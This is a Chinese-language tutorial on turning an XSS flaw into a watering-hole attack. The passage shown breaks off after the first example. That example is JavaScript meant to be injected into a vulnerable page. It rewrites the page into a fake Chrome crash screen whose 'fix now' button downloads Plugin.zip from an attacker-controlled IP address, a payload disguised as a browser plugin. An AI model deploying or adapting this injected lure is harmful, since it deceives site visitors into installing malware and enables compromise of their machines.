XSS完整利用过程

XSS，wiki的解释是一种代码注入，所以能做的事情很多，不限于alert弹框（感觉很多人以为XSS就是弹框框，弹不出来就不认）、窃取Cookie之类的操作，下面要实现的水坑攻击就是一种利用。

过程：

1.利用JS写一个诱导页面，不要再用flash更新页面了，都被人家玩剩很多年了...

我写了个页面，抛砖引玉，一个是模仿chrome浏览器崩溃后的页面，另一个是使用layer的弹窗页面。

代码一，chrome浏览器崩溃页面：

var body = document.body;
    var _left =  window.innerWidth * 0.3 + 'px';
    var _top = window.innerHeight * 0.3 + 'px';
    var _height = window.innerHeight
    body.innerHTML=`<div style="background-color: white;height: ${_height}px"><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://39.*.*.*/sdp.png' style='margin:3px;'>
          <p><h3 >喔唷，崩溃啦!</h3></p >
          <p style='color:gray'>显示此网页时出了点问题，请在您的页面上启用显示插件，从而可能会有所帮助。</br></p >
          <a href='http://39.105.*.*/Plugin.zip'>
          <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'  >立即修复</button></a>
        </div></div>
        `

效果图一：